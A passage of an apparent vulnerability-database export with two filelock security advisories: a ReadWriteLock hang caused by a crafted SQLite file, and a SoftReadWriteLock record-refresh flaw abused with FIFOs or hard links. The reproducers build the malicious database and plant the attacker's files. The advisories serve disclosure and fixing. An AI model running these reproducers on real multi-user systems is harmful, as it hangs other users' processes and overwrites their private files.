`SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n    user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n    user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024  # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for > 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py <database path> <number of schema rows>\n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row's text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000  # keeps each sql text just under SQLite's 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2  # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n    groups = [value & 0x7F]\n    while value := value >> 7:\n        groups.insert(0, value & 0x7F | 0x80)\n    return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n    # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error\n    name = b\"t%04d\" % rowid\n    sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n    sql_len = len(sql_start) + COMMENT_LEN\n    serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n    record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n    record_len = len(record_start) + COMMENT_LEN\n    # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page\n    min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n    local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n    if local > max_local:\n        local = min_local\n    return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\">I\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n    page = bytearray(PAGE_SIZE)\n    content_start = PAGE_SIZE\n    cell_pointers = b\"\"\n    for cell in cells:\n        content_start -= len(cell)\n        page[content_start : content_start + len(cell)] = cell\n        cell_pointers += struct.pack(\">H\", content_start)\n    header = struct.pack(\">BHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n    page[header_offset : header_offset + len(header)] = header\n    return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\">I\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\">I\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\">I\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n    b\"SQLite format 3\\0\",\n    struct.pack(\">H\", PAGE_SIZE),\n    bytes([1, 1]),  # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n    bytes([0, 64, 32, 32]),  # reserved bytes per page and the three fixed payload fractions\n    struct.pack(\">I\", 1),  # file change counter\n    struct.pack(\">I\", CLAIMED_PAGES),  # database size in pages\n    struct.pack(\">II\", 0, 0),  # no freelist\n    struct.pack(\">II\", 1, 4),  # schema cookie, schema format\n    struct.pack(\">II\", 0, 0),  # default cache size, no auto-vacuum\n    struct.pack(\">I\", 1),  # text encoding: UTF-8\n    struct.pack(\">III\", 0, 0, 0),  # user version, incremental vacuum, application id\n    bytes(20),\n    struct.pack(\">I\", 1),  # version-valid-for equals the change counter, so SQLite trusts the page count above\n    struct.pack(\">I\", 3040001),  # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n    file.write(root_page + loop_page + b\"\".join(leaves))\n    written = file.tell()\n    file.truncate(CLAIMED_PAGES * PAGE_SIZE)  # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 0o666)  # the victim's ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n    with lock.read_lock(timeout=1):\n        outcome = \"acquired\"\nexcept Timeout:\n    outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n    P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --> P1[\"lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n    P1 --> P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n    P2 --> P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n    P2 --> P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class P0,P1,P2 info;\n    class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112915"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112934","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-fj95-fr6c-h845","CVE-2026-112934"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.9.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local user renames over its record","details":"`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `<path>.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `<path>.rw/holders/<token>` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path).\n\nA different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.\n\nA FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.\n\nWhere the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled \"SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.\n\nClassification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `<path>.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach.\n- FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`.\n- Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A `0600` file in a `0755` home directory qualifies; a file under a `0700` directory does not.\n- Platform: observed on Linux 6.1. `AsyncSoftReadWriteLock` runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.overwrite` opens by name with `O_WRONLY | O_NOFOLLOW` and writes without `fstat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L94-L100) (`fstat` would report the type of the file behind the open descriptor), while [`read` just above it uses `O_NONBLOCK` and a regular-file check](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L36-L43). The blocking open is [`_attempt_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L156-L160) via [`_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L143). [`prepare` adopts an existing tree whoever owns it](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). The single caller is [`Participant._refresh_nonce`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L544-L545), reached from [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496) on every poll of a waiting acquire and from [`heartbeat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L547-L560), which knows only `lost` and `transient`, not a call that does not return. The acquire loop checks its deadline and the `_closed` flag only after `advance()` returns ([`_sync.py` lines 584–592](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L584-L592)). The code maps the heartbeat outcome at [lines 603–613](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L603-L613), and release joins the heartbeat thread for `heartbeat_interval + 1` at [line 446](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L446).\n\n## Introduced\n\nThe unguarded reopen came with `f974328` (\"fix(soft-rw): replace the state mutex with a generation log (#738)\", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with `git tag --contains f974328`, which answers 4.0.0).\n\n## Mechanism\n\n`OsFiles.overwrite()` refreshes a holder record by opening `holders/<token>` by name and writing at offset 0. `O_NOFOLLOW` refuses a symbolic link at that name (a planted one ends the acquire with `OSError: [Errno 40]` and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file `create()` made. Another user who can rename inside `holders/` has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:\n\n1. The other user can write `holders/`. `prepare()` uses an existing protocol tree whoever owns it; it checks only the node type. In sticky `/tmp`, the user who creates `/tmp/app.lock.rw/{gen,holders}` before the lock's first use owns `holders/` and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed.\n2. The lock user publishes its record and drops the descriptor. `Participant.publish()` calls `OsFiles.create()`, which opens `holders/<token>` with `O_CREAT | O_EXCL`, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory.\n3. The other user swaps the name. Hard link: `link(\"/home/victim/accounts.csv\", \"holders/link\")`, then `rename(\"holders/link\", \"holders/<token>\")`; `link(2)` needs search permission on `/home/victim` and write permission on `holders/`, nothing on the file. FIFO: `mkfifo` (mode `0666`) + `rename`, so the name is absent at no point and the lock user does not take the \"record is gone, recreate it\" branch.\n4. The lock user writes by name. Each poll of a waiting acquire (`poll_interval`, 0.25 s) runs `advance()` → `_keep_claim_fresh()` → `_refresh_nonce()` → `overwrite()`. With the hard link the lock user owns the linked file, so `O_WRONLY` succeeds and `write_all` puts `encode_holder(...)` at offset 0 without truncating. The lock user's call then ends in an ordinary `Timeout`. A granted holder does the same from its heartbeat thread every `heartbeat_interval` (30 s by default). With `heartbeat_interval=0.5`, the holder also writes through a link planted one second after it got the write lock, and `lock.compromise` stays `None`.\n5. The link disappears. On `Timeout` or release, `leave()` unlinks `holders/<token>`, which is now the other user's link. The target is back to one link and `holders/` is empty.\n\nThe scanner observed this with the hard link. `victim` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)` and waits. `attacker`, who created `/tmp/app.lock.rw` first, renames a hard link to `/home/victim/accounts.csv` (mode `0600`, owner `victim`; the `attacker` account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins `filelock-rw/1\\ntoken=ea480210b6cacc96a657f16d93f7f284\\npid=210\\nhost=cfz?pidns-f0000217\\nlease=90.0\\nnonce=5f8f61dcf2607b56ef05c521bdade557\\n`, followed by its original content from offset 135 on (the record length varies with the PID and the host name).\n\nThe same reopen with a FIFO: `open(fifo, O_WRONLY)` without `O_NONBLOCK` (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.\n\nIn a waiting acquire, the code checks the deadline one level above the blocked call, so an `open` that does not return outlasts any `timeout`, and a `close()` from another thread. The lock user, with the FIFO in place of the hard link, is still inside `write_lock(timeout=2)` 12 s later, at `_storage.py:158 _attempt_open ← :143 _open ← :96 overwrite ← _protocol.py:545 _refresh_nonce ← :494 _keep_claim_fresh ← :464 advance ← _sync.py:584 _wait_for ← :512 _do_acquire_inner`; without the FIFO the same call raises `Timeout` after 2.0 s.\n\nInside filelock the only thing that ends the block is a peer's `read()` of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and `write_all` then fails with `EPIPE` (broken pipe). Peers read a waiter's record only in `_sweep`, at most every `stale_threshold / 2` (`stale_threshold` is the age after which peers treat a record as abandoned). With a live holder on default settings `write_lock(timeout=2)` returned after 59.9 s with `BrokenPipeError` instead of `Timeout`, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside `_acquire`'s `self._locks.transaction` section, so other threads acquiring through the same instance wait behind it.\n\nFor a holder's heartbeat, `heartbeat()` knows two failures. `overwrite` returning `False` is `lost`, an `OSError` is `transient`, and `_refresh` turns those into an `evicted` or a `refresh-failed` compromise. A blocked call is neither. With `heartbeat_interval=1, stale_threshold=3` and the FIFO renamed over the record after the grant: 6.5 s later `lock.compromise` is still `None`, `on_compromise` has not run, `release()` takes 2.0 s (the join timeout; 31 s with the default interval) and the `filelock-heartbeat-*` thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns `evicted` at its next heartbeat.\n\nWhen whoever planted the FIFO keeps it open with the pipe buffer full, the `open` succeeds and `write_all` is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as `b\"\"`, evicted the holder after `stale_threshold` and got the write lock 3.0 s later, while the first process was still in its critical section with `lock.compromise is None` and `on_compromise` not called.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AT33VEVC`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\nPROTECTED_HARDLINKS = \"/proc/sys/fs/protected_hardlinks\"\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\"]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\"]\n\n# set up: a file only the victim may read or write, on the same filesystem as /tmp\noriginal = b\"name,balance\\n\" + b\"\".join(b\"customer-%03d,1000\\n\" % n for n in range(20))\nwith open(VICTIM_FILE, \"wb\") as f:\n    f.write(original)\nshutil.chown(VICTIM_FILE, \"victim\", \"victim\")\nos.chmod(VICTIM_FILE, 0o600)\nshutil.rmtree(LOCK_TREE, ignore_errors=True)\n\ndirect_write = subprocess.run([*as_attacker, \"truncate\", \"-s\", \"0\", VICTIM_FILE], capture_output=True, text=True)\nprint(\"CONTROL  attacker writes the file itself:\", direct_write.stderr.strip())\nassert direct_write.returncode != 0\n\n# The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link\n# a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored.\nprotected_hardlinks_before = open(PROTECTED_HARDLINKS).read()\nopen(PROTECTED_HARDLINKS, \"w\").write(\"0\")\ntry:\n    # attack\n    subprocess.run([*as_attacker, sys.executable, \"/tmp/repro.d/attacker_creates_lock_tree_first.py\"], check=True)\n    link_planter = subprocess.Popen(\n        [*as_attacker, sys.executable, \"/tmp/repro.d/attacker_plants_hard_link.py\"], stdout=subprocess.PIPE, text=True\n    )\n    victim_app = subprocess.run(\n        [*as_victim, sys.executable, \"/tmp/repro.d/victim_app.py\"], stdout=subprocess.PIPE, text=True, check=True\n    )\n    victim_token = link_planter.communicate()[0].strip()\n    assert link_planter.returncode == 0\nfinally:\n    open(PROTECTED_HARDLINKS, \"w\").write(protected_hardlinks_before)\n\n# check: the victim's holder record belongs in holders/<token>, never in another file\nprint(\"victim app:\", victim_app.stdout.strip())\nprint(\"attacker replaced holders/\" + victim_token, \"with a hard link to\", VICTIM_FILE)\nafter = open(VICTIM_FILE, \"rb\").read()\ninfo = os.stat(VICTIM_FILE)\nprint(f\"OBSERVED {VICTIM_FILE} (uid {info.st_uid}, mode {info.st_mode & 0o777:o}) now begins:\")\nprint(after[:200].decode(errors=\"replace\"))\nprint(\"BUG\" if after.startswith(b\"filelock-rw/1\\ntoken=\" + victim_token.encode() + b\"\\n\") else \"OK\")\n```\n\n**`repro.d/attacker_creates_lock_tree_first.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o777)\nos.mkdir(f\"{LOCK_TREE}/gen\", 0o777)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777)\n\n# A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted.\nwith open(f\"{LOCK_TREE}/gen/00000000000000000001\", \"w\") as snapshot:\n    snapshot.write(\"filelock-rw/1\\ngeneration=1\\nwriter=\" + \"a\" * 32 + \"\\n\")\n```\n\n**`repro.d/attacker_plants_hard_link.py`**\n\n```python\nimport os\nimport time\n\nHOLDERS = \"/tmp/app.lock.rw/holders\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\n\ndeadline = time.monotonic() + 30\nwhile not (records := os.listdir(HOLDERS)):\n    assert time.monotonic() < deadline, \"the victim never published a holder record\"\n    time.sleep(0.01)\nvictim_token = records[0]\n\n# link(2) needs write permission on 